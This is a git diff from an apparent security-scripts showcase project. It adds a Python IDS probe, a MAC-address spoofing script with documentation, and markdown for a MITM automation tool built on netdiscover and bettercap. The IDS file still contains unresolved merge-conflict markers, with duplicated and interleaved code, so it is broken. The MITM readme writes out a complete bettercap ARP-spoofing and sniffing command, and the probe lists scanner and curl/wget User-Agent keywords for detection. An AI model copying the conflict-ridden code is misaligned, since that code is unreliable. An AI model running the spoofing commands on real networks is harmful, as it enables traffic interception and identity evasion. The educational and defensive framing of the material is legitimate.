+file_lock = threading.Lock() # prevents concurrent writes to alerts.json
+
+# ------------------------------------------------------------
+
+def now_iso() -> str:
+ """Return current UTC time in ISO 8601 format (used for timestamps)."""
+=======
+# ----------------------
+# Config (tweakable)
+# ----------------------
+# Save alerts next to this script (guarantees repo-local location)
+=======
+# ---------------------- CONFIGURATION ----------------------
+
+# File where alerts will be saved
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ALERT_FILE = os.path.join(os.path.dirname(__file__), "alerts.json")
+
+# Port scan detection parameters
+PORT_SCAN_WINDOW = 10 # seconds of observation
+PORT_SCAN_PORT_THRESHOLD = 12 # unique ports within window to trigger alert
+
+# Suspicious keywords to flag in HTTP User-Agent strings
+SUSPICIOUS_UA_KEYWORDS = ["sqlmap", "nikto", "acunetix", "curl", "wget", "fuzzer", "scanner"]
+
+# Optional webhook URL (set from CLI)
+WEBHOOK: str | None = None
+
+# Runtime data structures
+# Stores for each source IP → list of (timestamp, dst_port)
+syn_history = defaultdict(lambda: deque())
+file_lock = threading.Lock() # prevents concurrent writes to alerts.json
+
+# ------------------------------------------------------------
+
+def now_iso() -> str:
+<<<<<<< HEAD
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+ """Return current UTC time in ISO 8601 format (used for timestamps)."""
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ return datetime.utcnow().isoformat() + "Z"
+
+
+def write_alert(alert: dict) -> None:
+<<<<<<< HEAD
+<<<<<<< HEAD
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ """
+ Save an alert to the 'alerts.json' file and optionally send it to a webhook.
+
+ Each alert is a single JSON object on its own line.
+ The file is appended (not overwritten), so old alerts are preserved.
+ """
+<<<<<<< HEAD
+ alert["detected_at"] = now_iso()
+ line = json.dumps(alert, ensure_ascii=False)
+
+ # Thread-safe file writing
+=======
+ """Append alert as a newline-delimited JSON line to ALERT_FILE. Optionally POST to webhook."""
+ alert["detected_at"] = now_iso()
+ line = json.dumps(alert, ensure_ascii=False)
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+ alert["detected_at"] = now_iso()
+ line = json.dumps(alert, ensure_ascii=False)
+
+ # Thread-safe file writing
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ with file_lock:
+ os.makedirs(os.path.dirname(ALERT_FILE), exist_ok=True)
+ with open(ALERT_FILE, "a", encoding="utf-8") as fh:
+ fh.write(line + "\n")
+<<<<<<< HEAD
+<<<<<<< HEAD
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+
+ # Print a short console summary
+ print("[ALERT]", alert.get("type"), "-", alert.get("summary", ""))
+
+ # If webhook configured, try to send alert
+<<<<<<< HEAD
+=======
+ print("[ALERT]", alert.get("type"), "-", alert.get("summary", ""))
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ if WEBHOOK and requests:
+ try:
+ requests.post(WEBHOOK, json=alert, timeout=3)
+ except Exception:
+<<<<<<< HEAD
+<<<<<<< HEAD
+=======
+ # Do not raise — keep probe running even if webhook fails.
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ pass
+
+
+def check_port_scan(pkt_time: float, src_ip: str, dst_port: int) -> None:
+<<<<<<< HEAD
+<<<<<<< HEAD
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ """
+ Detect potential port scans.
+
+ - Keeps a deque of recent SYN packets per source IP.
+ - If the number of distinct destination ports exceeds a threshold
+ within a time window, it raises a 'port_scan' alert.
+ """
+<<<<<<< HEAD
+ dq = syn_history[src_ip]
+ dq.append((pkt_time, dst_port))
+
+ # Remove old entries outside the time window
+ cutoff = pkt_time - PORT_SCAN_WINDOW
+ while dq and dq[0][0] < cutoff:
+ dq.popleft()
+
+ # Count unique destination ports in the current window
+ distinct_ports = {p for _, p in dq}
+
+ # If threshold exceeded, trigger alert
+=======
+ """Maintain a sliding window of SYN destinations per src IP and alert if threshold reached."""
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ dq = syn_history[src_ip]
+ dq.append((pkt_time, dst_port))
+
+ # Remove old entries outside the time window
+ cutoff = pkt_time - PORT_SCAN_WINDOW
+ while dq and dq[0][0] < cutoff:
+ dq.popleft()
+
+ # Count unique destination ports in the current window
+ distinct_ports = {p for _, p in dq}
+<<<<<<< HEAD
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+
+ # If threshold exceeded, trigger alert
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ if len(distinct_ports) >= PORT_SCAN_PORT_THRESHOLD:
+ alert = {
+ "type": "port_scan",
+ "summary": f"Possible port scan from {src_ip} to {len(distinct_ports)} ports",
+ "src_ip": src_ip,
+ "unique_ports": sorted(distinct_ports),
+ "count": len(distinct_ports),
+ "window_seconds": PORT_SCAN_WINDOW,
+ }
+<<<<<<< HEAD
+<<<<<<< HEAD
+ dq.clear() # Reset history to avoid duplicate alerts
+=======
+ dq.clear() # avoid repeated spam for same burst
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+ dq.clear() # Reset history to avoid duplicate alerts
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ write_alert(alert)
+
+
+def extract_user_agent(payload_bytes: bytes) -> str | None:
+<<<<<<< HEAD
+<<<<<<< HEAD
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ """
+ Extract the 'User-Agent' value from an HTTP request payload, if present.
+
+ - Only works for unencrypted (plain HTTP) traffic.
+ - Scans the decoded payload for a line starting with 'User-Agent:'.
+ """
+<<<<<<< HEAD
+=======
+ """Return User-Agent header value from plaintext HTTP payload (very simple)."""
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ try:
+ txt = payload_bytes.decode("utf-8", errors="ignore")
+ except Exception:
+ return None
+<<<<<<< HEAD
+<<<<<<< HEAD
+
+=======
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ for line in txt.splitlines():
+ if line.lower().startswith("user-agent:"):
+ return line.split(":", 1)[1].strip()
+ return None
+
+
+def check_http_user_agent(payload: bytes, src_ip: str, dst_ip: str, dst_port: int) -> None:
+<<<<<<< HEAD
+<<<<<<< HEAD
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ """
+ Check if the HTTP payload contains a suspicious User-Agent header.
+
+ If any keyword from SUSPICIOUS_UA_KEYWORDS is found inside the
+ 'User-Agent' value, a 'suspicious_user_agent' alert is written.
+ """
+ ua = extract_user_agent(payload)
+ if not ua:
+ return
+
+<<<<<<< HEAD
+=======
+ ua = extract_user_agent(payload)
+ if not ua:
+ return
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ ua_lower = ua.lower()
+ for key in SUSPICIOUS_UA_KEYWORDS:
+ if key in ua_lower:
+ alert = {
+ "type": "suspicious_user_agent",
+ "summary": f"Suspicious User-Agent '{ua[:80]}' from {src_ip}",
+ "src_ip": src_ip,
+ "dst_ip": dst_ip,
+ "dst_port": dst_port,
+ "user_agent": ua,
+ }
+ write_alert(alert)
+ return
+
+
+def packet_handler(pkt) -> None:
+<<<<<<< HEAD
+<<<<<<< HEAD
+ """Callback invoked by scapy.sniff for each captured packet.
+
+ Support both IPv4 and IPv6. For IPv6, use IPv6 layer instead of IP.
+ For both families, extract TCP, detect SYN (client->server SYN w/o ACK),
+ and inspect Raw payloads for HTTP User-Agent.
+ """
+ ts = time.time()
+
+ def _process(ip_layer, tcp_layer, src_ip, dst_ip):
+ # SYN without ACK -> client initial SYN (avoid counting SYN-ACK responses)
+ try:
+ flags = int(tcp_layer.flags)
+ except Exception:
+ flags = 0
+ syn_only = (flags & 0x02) and not (flags & 0x10)
+ if syn_only:
+ try:
+ dst_port = int(tcp_layer.dport)
+ except Exception:
+ return
+ check_port_scan(ts, src_ip, dst_port)
+
+ # If there is application payload, check for HTTP User-Agent header
+ if Raw in pkt:
+ try:
+ payload_bytes = bytes(pkt[Raw].load)
+ except Exception:
+ payload_bytes = b""
+ try:
+ dst_port = int(tcp_layer.dport)
+ except Exception:
+ dst_port = None
+ check_http_user_agent(payload_bytes, src_ip, dst_ip, dst_port)
+
+ # IPv4 case
+ if IP in pkt and TCP in pkt:
+ ip_layer = pkt[IP]
+ tcp_layer = pkt[TCP]
+ src_ip = ip_layer.src
+ dst_ip = ip_layer.dst
+ _process(ip_layer, tcp_layer, src_ip, dst_ip)
+ return
+
+ # IPv6 case (this also catches IPv6-mapped IPv4 addresses)
+ if IPv6 in pkt and TCP in pkt:
+ ip6 = pkt[IPv6]
+ tcp_layer = pkt[TCP]
+ src_ip = ip6.src
+ dst_ip = ip6.dst
+ # If dst/src are IPv4-mapped (::ffff:1.2.3.4), normalize to plain IPv4 string
+ if src_ip.startswith("::ffff:"):
+ src_ip = src_ip.split("::ffff:")[-1]
+ if dst_ip.startswith("::ffff:"):
+ dst_ip = dst_ip.split("::ffff:")[-1]
+ _process(ip6, tcp_layer, src_ip, dst_ip)
+ return
+
+ # otherwise ignore non-TCP or non-IP packets
+ return
+
+
+def parse_args():
+ """
+ Parse command-line arguments for interface selection and thresholds.
+ """
+ p = argparse.ArgumentParser(description="Tiny IDS probe - sniff packets and emit simple alerts")
+ p.add_argument("-i", "--iface", default=None, help="Interface to sniff (e.g., eth0, wlan0, etc.)")
+ p.add_argument("--webhook", default=None, help="Optional: webhook URL to POST alerts")
+ p.add_argument("--port-threshold", type=int, default=PORT_SCAN_PORT_THRESHOLD,
+ help="Number of unique ports to trigger port-scan alert")
+ p.add_argument("--window", type=int, default=PORT_SCAN_WINDOW,
+ help="Time window (in seconds) for port-scan detection")
+=======
+ """Called for every sniffed packet. Keep this light-weight."""
+ ts = time.time()
+ if IP in pkt and TCP in pkt:
+ ip = pkt[IP]
+ tcp = pkt[TCP]
+ src_ip = ip.src
+ dst_ip = ip.dst
+ try:
+ dst_port = int(tcp.dport)
+ except Exception:
+ return
+=======
+ """Callback invoked by scapy.sniff for each captured packet.
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+
+ Support both IPv4 and IPv6. For IPv6, use IPv6 layer instead of IP.
+ For both families, extract TCP, detect SYN (client->server SYN w/o ACK),
+ and inspect Raw payloads for HTTP User-Agent.
+ """
+ ts = time.time()
+
+ def _process(ip_layer, tcp_layer, src_ip, dst_ip):
+ # SYN without ACK -> client initial SYN (avoid counting SYN-ACK responses)
+ try:
+ flags = int(tcp_layer.flags)
+ except Exception:
+ flags = 0
+ syn_only = (flags & 0x02) and not (flags & 0x10)
+ if syn_only:
+ try:
+ dst_port = int(tcp_layer.dport)
+ except Exception:
+ return
+ check_port_scan(ts, src_ip, dst_port)
+
+ # If there is application payload, check for HTTP User-Agent header
+ if Raw in pkt:
+ try:
+ payload_bytes = bytes(pkt[Raw].load)
+ except Exception:
+ payload_bytes = b""
+ try:
+ dst_port = int(tcp_layer.dport)
+ except Exception:
+ dst_port = None
+ check_http_user_agent(payload_bytes, src_ip, dst_ip, dst_port)
+
+ # IPv4 case
+ if IP in pkt and TCP in pkt:
+ ip_layer = pkt[IP]
+ tcp_layer = pkt[TCP]
+ src_ip = ip_layer.src
+ dst_ip = ip_layer.dst
+ _process(ip_layer, tcp_layer, src_ip, dst_ip)
+ return
+
+ # IPv6 case (this also catches IPv6-mapped IPv4 addresses)
+ if IPv6 in pkt and TCP in pkt:
+ ip6 = pkt[IPv6]
+ tcp_layer = pkt[TCP]
+ src_ip = ip6.src
+ dst_ip = ip6.dst
+ # If dst/src are IPv4-mapped (::ffff:1.2.3.4), normalize to plain IPv4 string
+ if src_ip.startswith("::ffff:"):
+ src_ip = src_ip.split("::ffff:")[-1]
+ if dst_ip.startswith("::ffff:"):
+ dst_ip = dst_ip.split("::ffff:")[-1]
+ _process(ip6, tcp_layer, src_ip, dst_ip)
+ return
+
+ # otherwise ignore non-TCP or non-IP packets
+ return
+
+
+def parse_args():
+ """
+ Parse command-line arguments for interface selection and thresholds.
+ """
+ p = argparse.ArgumentParser(description="Tiny IDS probe - sniff packets and emit simple alerts")
+ p.add_argument("-i", "--iface", default=None, help="Interface to sniff (e.g., eth0, wlan0, etc.)")
+ p.add_argument("--webhook", default=None, help="Optional: webhook URL to POST alerts")
+<<<<<<< HEAD
+ p.add_argument("--port-threshold", type=int, default=PORT_SCAN_PORT_THRESHOLD, help="Distinct port threshold (default 12)")
+ p.add_argument("--window", type=int, default=PORT_SCAN_WINDOW, help="Time window (seconds) for port-scan detection")
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+ p.add_argument("--port-threshold", type=int, default=PORT_SCAN_PORT_THRESHOLD,
+ help="Number of unique ports to trigger port-scan alert")
+ p.add_argument("--window", type=int, default=PORT_SCAN_WINDOW,
+ help="Time window (in seconds) for port-scan detection")
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ return p.parse_args()
+
+
+def main() -> None:
+<<<<<<< HEAD
+<<<<<<< HEAD
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ """
+ Entry point of the program.
+
+ - Parses CLI arguments.
+ - Configures thresholds and webhook.
+ - Starts live packet sniffing.
+ """
+ global WEBHOOK, PORT_SCAN_PORT_THRESHOLD, PORT_SCAN_WINDOW
+
+<<<<<<< HEAD
+=======
+ global WEBHOOK, PORT_SCAN_PORT_THRESHOLD, PORT_SCAN_WINDOW
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ args = parse_args()
+ WEBHOOK = args.webhook
+ PORT_SCAN_PORT_THRESHOLD = args.port_threshold
+ PORT_SCAN_WINDOW = args.window
+
+ print(f"Starting tiny IDS probe. Alerts will be written to: {ALERT_FILE}")
+ print("Press Ctrl+C to stop. Run only on networks you own or are authorized to monitor.")
+
+ try:
+ sniff(iface=args.iface, prn=packet_handler, store=False)
+ except PermissionError:
+<<<<<<< HEAD
+<<<<<<< HEAD
+ print("Permission denied: run as root / Administrator.")
+=======
+ print("Permission denied: run as root / Administrator or grant capture capability.")
+>>>>>>> 3524173 ( Added an IDS probe)
+=======
+ print("Permission denied: run as root / Administrator.")
+>>>>>>> e3c399e (Normalize line endings for ids_probe.py)
+ except Exception as e:
+ print("Error while sniffing:", e)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/UI/frontend/src/content/python-scripts/images/async.png b/UI/frontend/src/content/python-scripts/images/async.png
new file mode 100644
index 0000000..b038e22
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/async.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/async2.png b/UI/frontend/src/content/python-scripts/images/async2.png
new file mode 100644
index 0000000..fe5a33b
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/async2.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/async_port_scanner_flow_edges.png b/UI/frontend/src/content/python-scripts/images/async_port_scanner_flow_edges.png
new file mode 100644
index 0000000..58d5cb9
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/async_port_scanner_flow_edges.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/bettercap_arp_op.png b/UI/frontend/src/content/python-scripts/images/bettercap_arp_op.png
new file mode 100644
index 0000000..09ad359
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/bettercap_arp_op.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/bettercap_controller_flow_professional.png b/UI/frontend/src/content/python-scripts/images/bettercap_controller_flow_professional.png
new file mode 100644
index 0000000..681a784
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/bettercap_controller_flow_professional.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/deauth_controller.png b/UI/frontend/src/content/python-scripts/images/deauth_controller.png
new file mode 100644
index 0000000..1d92b66
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/deauth_controller.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/mitm_attack_flow.png b/UI/frontend/src/content/python-scripts/images/mitm_attack_flow.png
new file mode 100644
index 0000000..fa63ad7
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/mitm_attack_flow.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/mitm_automation_op.png b/UI/frontend/src/content/python-scripts/images/mitm_automation_op.png
new file mode 100644
index 0000000..cf1f8b1
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/mitm_automation_op.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/wpa_dictionary_attack_flow.png b/UI/frontend/src/content/python-scripts/images/wpa_dictionary_attack_flow.png
new file mode 100644
index 0000000..97f9b37
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/wpa_dictionary_attack_flow.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/wpa_wpa2_2op.png b/UI/frontend/src/content/python-scripts/images/wpa_wpa2_2op.png
new file mode 100644
index 0000000..aad00a6
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/wpa_wpa2_2op.png differ
diff --git a/UI/frontend/src/content/python-scripts/images/wpa_wpa2op.png b/UI/frontend/src/content/python-scripts/images/wpa_wpa2op.png
new file mode 100644
index 0000000..66268ab
Binary files /dev/null and b/UI/frontend/src/content/python-scripts/images/wpa_wpa2op.png differ
diff --git a/UI/frontend/src/content/python-scripts/mac-address-change.md b/UI/frontend/src/content/python-scripts/mac-address-change.md
new file mode 100644
index 0000000..b08669e
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/mac-address-change.md
@@ -0,0 +1,90 @@
+## mac-address-change.py
+
+### Usage Scenario
+This script is a fundamental utility in **Ethical Hacking** and **Network Administration**.
+
+**What problem does it solve?**
+It allows a user to programmatically and temporarily **change (spoof) the Media Access Control (MAC) address** of a specified network interface (e.g., `eth0`, `wlan0`). MAC addresses are unique hardware identifiers used for local network communication. Spoofing them is a technique used to bypass simple network filters (like MAC-based access control lists), hide one's identity on a network, or assume the identity of another device for testing purposes.
+
+**Who would benefit from using it?**
+* **Ethical Hackers / Penetration Testers:** To simulate various attack vectors, evade simple network monitoring, or test network security controls.
+* **Network Engineers / Administrators:** For troubleshooting network-level issues, isolating performance problems, or testing new network configurations.
+* **Security Researchers:** To maintain a degree of anonymity during network analysis and data collection.
+
+---
+
+### What the Script Does
+
+This Python script is a simple yet powerful tool for modifying the MAC address of a network interface on Unix-like operating systems (which support the `ifconfig` command and `sudo` for elevated privileges).
+
+**High-Level Functionality:**
+The script takes two inputs from the user—the target network **interface name** and the **new desired MAC address**—and then executes a sequence of privileged commands to perform the MAC address change. It verifies the change afterward.
+
+| Aspect | Description |
+| :--- | :--- |
+| **Inputs** | **1. Interface Name:** The network adapter to modify (e.g., `eth0`, `wlan0`). **2. New MAC Address:** A valid 12-digit hexadecimal address (format: `xx:xx:xx:xx:xx:xx`). |
+| **Outputs / Side Effects** | **System Modification:** The script temporarily changes the operating system's configuration to update the specified network interface's MAC address. **Console Output:** Prints status messages (`[+] Changing MAC...`) and the final `ifconfig` output for verification. |
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `subprocess` | This module is crucial for executing external commands from within the Python script. It is used to call the powerful system utility **`ifconfig`** to control and configure the network interface parameters, specifically to set the MAC address. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `change_mac` | `interface` (str), `new_mac` (str) | None | Executes a sequence of three `sudo ifconfig` commands to: 1) take the interface down, 2) set the new MAC address (`hw ether`), and 3) bring the interface back up. |
+
+#### Execution Logic
+
+The script follows a standard Python entry point structure to ensure the main logic only runs when the script is executed directly.
+
+1. **Input Collection:** The script prompts the user twice using `input()` to get the **interface name** and the **new MAC address**.
+2. **Function Call:** It calls the main procedure, `change_mac(interface, new_mac)`, passing the user-provided values, thus executing the MAC address spoofing sequence.
+3. **Verification (1):** It prints a summary message confirming the intended change.
+4. **Verification (2):** It executes a final system command: `subprocess.call(["ifconfig", interface])`. This command displays the current configuration details of the interface, allowing the user to visually confirm that the `ether` or `HWaddr` value (the MAC address) has been successfully updated.
+
+---
+
+### Screenshots
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Script as mac-address-change.py
+ participant OS as Operating System
+
+ User->>Script: Execute Script
+ Script->>User: Request Interface Name
+ User->>Script: Provide "eth0"
+ Script->>User: Request New MAC Address
+ User->>Script: Provide "00:11:22:33:44:55"
+
+ Note over Script: Call change_mac("eth0", "00:11:22:33:44:55")
+
+ Script->>OS: subprocess.call(["sudo", "ifconfig", "eth0", "down"])
+ OS-->>Script: Interface is disabled
+
+ Script->>OS: subprocess.call(["sudo", "ifconfig", "eth0", "hw", "ether", "00:11:22:33:44:55"])
+ OS-->>Script: MAC address updated in system memory
+
+ Script->>OS: subprocess.call(["sudo", "ifconfig", "eth0", "up"])
+ OS-->>Script: Interface is re-enabled
+
+ Script->>Script: Print Success Message
+
+ Script->>OS: subprocess.call(["ifconfig", "eth0"])
+ OS-->>Script: Display current interface config
+ Script->>User: Print Verification Output
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/mac-address-change.py b/UI/frontend/src/content/python-scripts/mac-address-change.py
new file mode 100644
index 0000000..b009c2f
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/mac-address-change.py
@@ -0,0 +1,23 @@
+# Program to change MAC Address of an interface
+
+import subprocess
+
+
+def change_mac(interface, new_mac):
+ print(f"[+] Changing MAC address of {interface} to {new_mac}")
+ # Execute the command to change the MAC address
+ subprocess.call(["sudo", "ifconfig", interface, "down"])
+ subprocess.call(["sudo", "ifconfig", interface, "hw", "ether", new_mac])
+ subprocess.call(["sudo", "ifconfig", interface, "up"])
+ print("[+] MAC address changed successfully")
+
+
+# Example usage
+if __name__ == "__main__":
+ interface = input("Enter the interface name (e.g., eth0, wlan0): ")
+ new_mac = input("Enter the new MAC address (format: xx:xx:xx:xx:xx:xx): ")
+ change_mac(interface, new_mac)
+ print(f"New MAC address for {interface} is {new_mac}")
+ # Verify the change
+ subprocess.call(["ifconfig", interface])
+ print(f"[+] Verification complete for {interface}.")
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/mitm_attack_automation_readme.md b/UI/frontend/src/content/python-scripts/mitm_attack_automation_readme.md
new file mode 100644
index 0000000..d820962
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/mitm_attack_automation_readme.md
@@ -0,0 +1,232 @@
+# MITM Attack Automation
+
+A streamlined Python automation tool that combines **netdiscover** network enumeration with **bettercap** man-in-the-middle capabilities for authorized security testing and educational demonstrations.
+
+> **⚠️ Critical Warning:** This tool performs intrusive network operations including ARP spoofing and traffic interception. Use ONLY on networks you own or have explicit written authorization to test.
+
+---
+
+## System Architecture
+
+The diagram illustrates the complete automation workflow from network discovery through active MITM operations.
+
+
+
+### Execution Flow
+
+1. **Input Validation** → Interface argument and permission checks
+2. **Network Discovery** → Automated netdiscover enumeration with timeout
+3. **Device Processing** → Regex parsing and gateway identification
+4. **User Interface** → Interactive device selection and gateway configuration
+5. **Attack Configuration** → Bettercap parameter setup and validation
+6. **MITM Execution** → Coordinated ARP spoofing and packet sniffing
+7. **Live Monitoring** → Real-time traffic display with graceful shutdown
+
+---
+
+## Live Demonstration
+
+Below is a screenshot from an actual test session showing the complete workflow in action:
+
+
+
+The demonstration shows:
+- **Automated Discovery**: netdiscover finding 3 devices with gateway identification
+- **Interactive Selection**: User-friendly device selection (device #2 chosen)
+- **Gateway Auto-detection**: Automatic .1 address recognition with user confirmation
+- **Attack Configuration**: Bettercap setup with fullduplex ARP spoofing
+- **Command Generation**: `bettercap -iface wlan0 -eval` with constructed parameters
+
+---
+
+## Features
+
+- **Automated Network Discovery**: Uses `netdiscover -P -L` with 60-second timeout
+- **Intelligent Gateway Detection**: Auto-identifies .1 addresses as likely gateways
+- **Interactive Target Selection**: User-friendly enumerated device selection
+- **Input Validation**: Comprehensive error handling and range checking
+- **Bettercap Integration**: Seamless integration with professional MITM capabilities
+- **Fullduplex ARP Spoofing**: Bidirectional traffic interception
+- **Real-time Packet Sniffing**: Live network traffic analysis
+- **Graceful Shutdown**: Proper Ctrl+C handling and process cleanup
+
+---
+
+## System Requirements
+
+### Essential Dependencies
+- **Linux environment** with network interface access
+- **Python 3.x** with standard libraries
+- **netdiscover** for network enumeration
+- **bettercap** for man-in-the-middle operations
+- **Administrative privileges** (sudo access required)
+
+### Installation Commands
+
+```
+# Debian/Ubuntu
+sudo apt update
+sudo apt install netdiscover python3
+
+# Install bettercap (visit bettercap.org for latest instructions)
+# Example for Debian-based systems:
+sudo apt install bettercap
+```
+
+---
+
+## Usage
+
+### Basic Execution
+
+```
+sudo python3 mitm_attack_automator.py
+```
+
+### Example Session
+
+```
+# Launch with wireless interface
+sudo python3 mitm_attack_automator.py wlan0
+
+# Follow interactive prompts:
+# 1. Review discovered devices
+# 2. Select target device number
+# 3. Confirm/modify gateway IP
+# 4. Monitor live MITM operations
+```
+
+### Generated Bettercap Command
+
+The script constructs and executes:
+```
+bettercap -iface wlan0 -eval "set arp.spoof.fullduplex true; set arp.spoof.targets 192.168.1.105; arp.spoof on; net.sniff on;"
+```
+
+---
+
+## Technical Implementation
+
+### Network Discovery Module
+```
+def discover_devices(interface):
+ # Uses netdiscover with regex parsing
+ # Implements 60-second timeout
+ # Auto-detects gateway candidates
+```
+
+### Attack Configuration Engine
+```
+def run_mitm_attack(interface, target_ip, gateway_ip):
+ # Constructs bettercap command strings
+ # Manages subprocess execution
+ # Handles graceful interruption
+```
+
+### Key Technical Features
+- **Regex Pattern Matching**: Extracts IPs/MACs from netdiscover output
+- **Subprocess Management**: Proper timeout and error handling
+- **Permission Validation**: Detects and reports privilege issues
+- **Input Sanitization**: Validates device selections and IP addresses
+
+---
+
+## Security Considerations & Detection
+
+### Attack Characteristics
+- **ARP Table Poisoning**: Modifies target's ARP cache entries
+- **Traffic Redirection**: Routes victim traffic through attacker machine
+- **Packet Interception**: Captures and analyzes network communications
+- **Gateway Impersonation**: Poses as legitimate network gateway
+
+### Detection Methods
+- **ARP Table Monitoring**: `arp -a` shows duplicate/changing entries
+- **Network Monitoring**: Tools like `arpwatch` detect ARP anomalies
+- **Switch Features**: Dynamic ARP Inspection (DAI) prevents poisoning
+- **Static ARP Entries**: Manual configuration resists spoofing attempts
+
+---
+
+## Legal & Ethical Framework
+
+### Authorized Use Only
+- ✅ **Penetration Testing**: With signed contracts and defined scope
+- ✅ **Security Training**: In isolated lab environments
+- ✅ **Research & Education**: Academic institutions with proper oversight
+- ✅ **Network Administration**: Testing your own infrastructure
+
+### Prohibited Activities
+- ❌ **Unauthorized Networks**: Any network without explicit permission
+- ❌ **Public WiFi**: Coffee shops, airports, hotels, etc.
+- ❌ **Corporate Networks**: Without IT department authorization
+- ❌ **Neighbor Networks**: Personal networks belonging to others
+
+### Documentation Requirements
+- Maintain written authorization for all testing
+- Log all activities with timestamps and scope
+- Report findings through proper channels
+- Follow applicable local and federal laws
+
+---
+
+## Educational Value
+
+This project demonstrates:
+
+1. **Network Enumeration**: Automated device discovery techniques
+2. **ARP Protocol Vulnerabilities**: How ARP lacks authentication
+3. **Man-in-the-Middle Mechanics**: Traffic interception methods
+4. **Defense Awareness**: Detection and mitigation strategies
+5. **Tool Integration**: Combining multiple security tools effectively
+
+Ideal for cybersecurity courses, authorized red team exercises, and network security awareness training.
+
+---
+
+## Troubleshooting
+
+### Common Issues
+
+**"netdiscover not found"**
+```
+sudo apt install netdiscover
+```
+
+**"Permission denied"**
+```
+# Always run with sudo
+sudo python3 mitm_attack_automator.py wlan0
+```
+
+**"No devices discovered"**
+- Verify interface is up and connected
+- Check network has active devices
+- Ensure proper network range
+
+**"bettercap not found"**
+- Install from official sources
+- Verify PATH includes bettercap location
+
+---
+
+## Contributing
+
+Contributions are welcome! Please ensure all contributions:
+
+- Maintain educational focus and ethical guidelines
+- Include comprehensive error handling
+- Follow security best practices
+- Provide clear documentation and examples
+
+---
+
+## License
+
+MIT License - Educational and authorized testing purposes only
+
+---
+
+**Disclaimer**: This tool is designed for educational purposes and authorized security testing only. Users are solely responsible for complying with applicable laws and obtaining proper authorization before use.
+```
+
+
diff --git a/UI/frontend/src/content/python-scripts/mitm_attack_automator.md b/UI/frontend/src/content/python-scripts/mitm_attack_automator.md
new file mode 100644
index 0000000..2c828d1
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/mitm_attack_automator.md
@@ -0,0 +1,93 @@
+## mitm_attack_automator.py
+
+### Usage Scenario
+
+This script is an automation tool designed to simplify the launch of a **Man-in-the-Middle (MITM)** attack using **ARP Spoofing**, leveraging the powerful external utilities **`netdiscover`** and **`bettercap`**.
+
+* **What problem does it solve?** It automates the cumbersome initial steps of a classic MITM attack: **device discovery** and the precise **configuration** of the attack tool (`bettercap`). It eliminates the need for manual IP scans and complex multi-line command constructions, making the attack setup seamless and faster. This is vital for security testing where time is critical.
+* **Who would benefit from using it?** **Beginners** in network security gain a structured, step-by-step workflow to execute an ARP Spoofing attack, ensuring proper input validation. **Penetration Testers** benefit from a rapid deployment mechanism to quickly set up a sniffing session on a target network during an authorized audit.
+
+---
+
+### What the Script Does
+
+The Python script acts as a **guided sequencer** that prepares and launches an ARP Spoofing attack using external tools. Its goal is to handle discovery and configuration before initiating the sniffing phase.
+
+The execution flow is:
+
+1. **Input:** It requires the **network interface name** (e.g., `eth0` or `wlan0`) as a mandatory command-line argument.
